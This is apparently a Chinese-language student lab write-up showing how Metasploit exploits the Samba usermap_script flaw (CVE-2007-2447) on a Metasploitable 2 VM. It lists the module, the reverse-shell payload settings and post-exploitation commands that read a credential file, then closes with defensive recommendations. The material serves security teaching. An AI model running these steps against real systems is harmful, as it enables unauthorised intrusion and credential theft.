SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

RedTeam-SMB-PenTest

linux bash

描述

本项目记录了我在UMGC的CMIT 386课程中进行的渗透测试工作。它重点介绍了如何从Kali Linux攻击虚拟机使用Metasploit，利用Metasploitable 2上的Samba SMB usermap_script漏洞（CVE-2007-2447）。此概念验证展示了旧版漏洞如何导致系统完全受损、凭据窃取和数据外泄。

漏洞概述

该漏洞位于445端口上的Samba服务中，username map脚本对输入的处理不当，允许未经身份验证的远程命令执行。如果被利用，攻击者将获得root级别的shell访问权限。

环境

操作步骤

1. 启动Metasploit：

msfconsole

确保攻击者主机和受害者虚拟机均已启动并运行。

2. 搜索漏洞利用模块：

search samba

3. 使用合适的模块：

use exploit/multi/samba/usermap_script

4. 设置所需选项：

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. 执行漏洞利用：

exploit

6. 后渗透命令：

whoami
hostname
cd /redteam7/student3
cat mypass.txt

重置说明

如果会话挂起或中断：

重置Metasploit：

# Leave current shell
Ctrl C
exit
# Kill all background jobs
sessions -K             
jobs -K
# Restart Metasploit
msfconsole

关键要点

像Samba 3.0.20这样使用usermap_script的旧版服务极易受攻击。
利用此SMB漏洞可获得root shell访问权限。
通过简单命令即可获取关键数据，这展示了真实世界中的风险。
这证明了修补、网络分段和减少服务暴露的必要性。

建议

立即修补或淘汰旧版系统。
实施严格的网络分段和防火墙规则。
仅向内部经过身份验证的用户开放SMB访问。
监控日志以发现可疑活动和横向移动。

攻击者虚拟机	Kali Linux
受害者虚拟机	Metasploitable 2
目标端口	445 (Samba/SMB)
使用的漏洞利用模块	`exploit/multi/samba/usermap_script`
凭据目标	`/redteam7/student3/mypass.txt`

最受欢迎

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

RedTeam-SMB-PenTest

描述

漏洞概述

环境

操作步骤

1. 启动Metasploit：

2. 搜索漏洞利用模块：

3. 使用合适的模块：

4. 设置所需选项：

5. 执行漏洞利用：

6. 后渗透命令：

重置说明

重置Metasploit：

关键要点

建议

参考资料